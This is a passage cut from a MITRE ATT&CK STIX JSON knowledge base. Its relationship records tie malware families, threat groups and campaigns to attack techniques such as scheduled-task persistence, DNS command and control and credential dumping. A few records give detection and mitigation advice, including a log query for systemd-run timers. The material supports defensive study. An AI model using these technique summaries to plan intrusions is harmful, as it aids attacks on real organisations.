April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b47be693-c3f4-4f21-ba08-4e2fe170bc51","created":"2023-04-10T16:51:54.688Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:51:54.688Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has created scheduled tasks to establish persistence for their tools.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b47d8f5e-7c09-4f40-a5a8-ccce10a8363b","type":"relationship","created":"2019-01-30T20:01:45.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Denis April 2017","url":"https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/","description":"Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:39:21.911Z","description":"[Denis](https://attack.mitre.org/software/S0354) enumerates and collects the username from the victim’s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4810e29-e543-4816-a6a2-d9c0b96eed07","type":"relationship","created":"2019-01-30T13:24:09.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"modified":"2021-08-24T16:07:39.101Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has used wmic.exe for local discovery information.(Citation: Securelist Octopus Oct 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b48242d1-a81e-4dd0-85fa-563aa907aa94","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:57:40.209Z","description":"Monitor executed commands and arguments of binaries involved in shutting down or rebooting systems. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4824825-f732-44d9-a088-3ce222c0f751","type":"relationship","created":"2021-09-09T13:37:43.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:48:26.319Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has directed users to open URLs hosting malicious content.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4902b0d-90ea-4af1-a410-61aef44b6969","created":"2024-09-16T08:57:23.230Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:57:23.230Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can delete infected system log information.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4912109-2712-4f26-b49d-a5357a49fc41","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:14:37.384Z","description":"Monitor executed commands and arguments the 'systemd-run' utility as it may be used to create timers.\n\nAnalytic 1 - Look for systemd-run execution with arguments indicative of timer creation.\n\nsourcetype=linux_logs (command=\"systemctl*\" OR command=\"systemd-run*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4947254-3a74-4708-a45c-65eff5bd9a2c","type":"relationship","created":"2020-03-17T02:10:50.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","source_name":"Dell TG-3390"}],"modified":"2020-03-17T02:10:50.591Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can be configured to use DNS for command and control.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b499e6f7-77bc-422b-b7ef-058d223a69e6","type":"relationship","created":"2022-01-26T21:51:21.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.537Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has used raw sockets for network communication.(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b49eaa88-9940-4e38-b247-5d13324422f8","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor executed commands and arguments that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]},{"type":"relationship","id":"relationship--b49fbcf8-ccc9-442b-a0d5-0bb595691775","created":"2024-03-05T20:38:06.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:34:19.417Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors stole the running configuration and cache data from targeted Ivanti Connect Secure VPNs.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b49fe95b-bd40-4dc7-a42c-b5741cde4941","type":"relationship","created":"2021-06-10T15:13:07.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:41:34.751Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to Base64 encode its payload and custom encrypt API calls.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4ae0cf8-ad1f-4813-9e07-fc3faba1454e","created":"2022-09-22T00:33:11.088Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:33:11.088Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors purchased hosted services to use for C2.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4b4c873-3a4a-4bd1-adc2-631c02ddd91c","type":"relationship","created":"2020-01-14T01:33:19.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:33:19.154Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4b6fec9-3f56-4571-9555-344cea28e667","type":"relationship","created":"2021-11-29T19:10:14.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:10:14.961Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has the ability to set file attributes to hidden.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4b94cc9-01f1-4408-96b0-4ad9d0e3b80d","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for suspicious files (i.e. .pdf, .docx, .jpg, etc.) viewed in isolation that may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4beede8-130b-4c99-b123-f7079896e28d","type":"relationship","created":"2021-10-11T19:42:14.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:42:14.306Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used lure documents to convince the user to enable macros.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4bff800-f33a-472c-9000-23fa217aac69","type":"relationship","created":"2020-03-30T03:09:45.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-30T03:09:45.501Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4c195b6-7b1f-4320-8040-e91c11ec8cbb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-17T23:40:44.822Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4c27a33-0669-4b10-a801-eb81e3563260","type":"relationship","created":"2021-07-27T15:01:00.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T15:01:00.790Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has split archived exfiltration files into chunks smaller than 1MB.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4c5b1ac-a2bd-4440-82bd-2de419ee1517","created":"2024-03-28T14:24:01.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:02:05.767Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) used a publicly available PowerShell-based tool, WMImplant.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4c7e12f-6921-4007-ab15-595969bf9eca","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.871Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4cec817-37bb-4b1f-b165-26241efdcea0","type":"relationship","created":"2021-09-30T14:37:43.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:37:43.891Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability use TCP to send or receive C2 packets.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4d9d40b-db4f-4e1d-a1ed-a1eb38ebe831","created":"2022-09-26T21:23:16.796Z","revoked":false,"external_references":[{"source_name":"Bleeping Computer Op Sharpshooter March 2019","description":"I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.","url":"https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"},{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:23:16.796Z","description":"During the investigation of [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), security researchers identified [Rising Sun](https://attack.mitre.org/software/S0448) in 87 organizations across the globe and subsequently discovered three variants.(Citation: McAfee Sharpshooter December 2018)(Citation: Bleeping Computer Op Sharpshooter March 2019)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4dafcd2-fed8-4266-b83e-f4033ada0d55","type":"relationship","created":"2019-06-20T15:39:37.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T18:13:18.670Z","description":"Prevent adversary access to privileged accounts or access necessary to replace system firmware.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4decb48-0877-418c-83cc-9967b369f5b2","created":"2022-09-27T16:42:50.562Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:42:50.562Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Mimikatz](https://attack.mitre.org/software/S0002)'s DCSync to dump credentials from the memory of the targeted system.(Citation: FoxIT Wocao December 2019) ","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4e20afc-56a8-4a05-8f73-076b17e3794e","type":"relationship","created":"2020-12-22T17:48:21.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.495Z","description":"(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b4e22ba1-a639-4d70-896c-5f063dbdb049","created":"2022-06-16T15:08:14.776Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use 